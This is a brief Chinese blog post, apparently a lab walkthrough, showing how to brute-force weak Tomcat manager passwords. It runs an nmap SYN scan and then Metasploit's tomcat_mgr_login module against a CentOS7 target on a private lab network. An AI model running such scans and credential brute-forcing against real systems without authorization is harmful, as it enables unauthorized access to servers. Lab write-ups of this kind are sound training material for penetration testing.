一、基本信息
攻击机:kali IP:192.168.100.60
靶机:CentOS7 IP:192.168.100.40
二、攻击过程
进入 tomcat 相关目录,并启动环境
cd /usr/local/tomcat9/bin
./startup.sh
kali 扫描端口
nmap -sS 192.168.100.40
浏览器访问
启动 msfconsole 并进行爆破
msfconsole
use auxiliary/scanner/http/tomcat_mgr_login
set rhosts 192.168.100.40
set rport 8080
run
爆破成功
查看密码
作 者:PeiyuJue
链 接: Tomcat漏洞——弱口令爆破 – Candid Chronicles
来 源:Aaron的博客
版 权 声 明:本博客所有文章除特别声明外,均采用CC BY-NC-SA 4.0许可协议。文章版权归作者所有,未经允许请勿转载!